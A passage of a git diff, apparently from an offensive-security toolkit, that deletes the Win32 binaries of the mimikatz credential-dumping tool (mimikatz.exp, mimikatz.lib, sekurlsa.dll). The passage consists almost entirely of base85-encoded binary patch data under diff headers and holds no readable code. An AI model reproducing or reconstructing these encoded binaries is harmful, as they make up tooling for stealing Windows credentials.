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 diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.exp b/Exfiltration/mimikatz-1.0/Win32/mimikatz.exp deleted file mode 100644 index 0de4a90a3413edb89d98a44f8965c5fdeb37fc2a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 825 zcmbtS%TC)+5Iqj1frRli(+a0*B(}2#oviWgx>a+!GThx+SeBTNv4#Co zkqUFWY4GP)Qv(;WAE}A@6`Pf-s(IdOpWy)qCG=!!x0T3fX`@@c%8So)ohT*>%GnIsM%M+ z*pi-_KH~YA$Ik!DxWp1B_iZj diff --git a/Exfiltration/mimikatz-1.0/Win32/mimikatz.lib b/Exfiltration/mimikatz-1.0/Win32/mimikatz.lib deleted file mode 100644 index b98eea9b2edc1537000af3aec82cb5b70b10130e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1908 zcmcIlK~ED=5dL=CQrr;I2p32+OG2VtYFl=p7-I^ev0+=9?GlemZ51|Bmej(*i+{kM z;DM7r!V|y1g9p8P;BVl}?tApD6fLB_bl<$0H}B1SGxMekPg=e9{!`-n3{o6p>8!`pWKZqN7#1?cEJ!ht^!xDzCL0yl=;rV0ptHy zcCEGYWp*7cg{7ZWcbafd5>6UgzVqhw@!n!HW`PY_e3Fcy734PZL8sMkEtcdKl?T4j z_e%&;L@Owq3B45|#xyU;p44Nu0`p8KI)gjRVoC+|05dsG0$<33Ycf2!TMOE~@O}8U zZ$5OFOs87kigy2)rikZ*d;#Z?S2>zF+gYe)$cuK^JtB9*lh3%gkOuh-5B5)oL|p+Q zkN2e{!pD|UQev?V32>=n4 z$Kln|iM9rlQZ36;%GL5kGJA?E;uq>@+`Z-^e3Oa3 ZtmX?h&Yrb0+|oQ*(x_AVYHLoI`V9}_bCCc5 diff --git a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll deleted file mode 100644 index 0cb96386284bfa7543bd7057438badfde4e3b8ee..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 178176 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 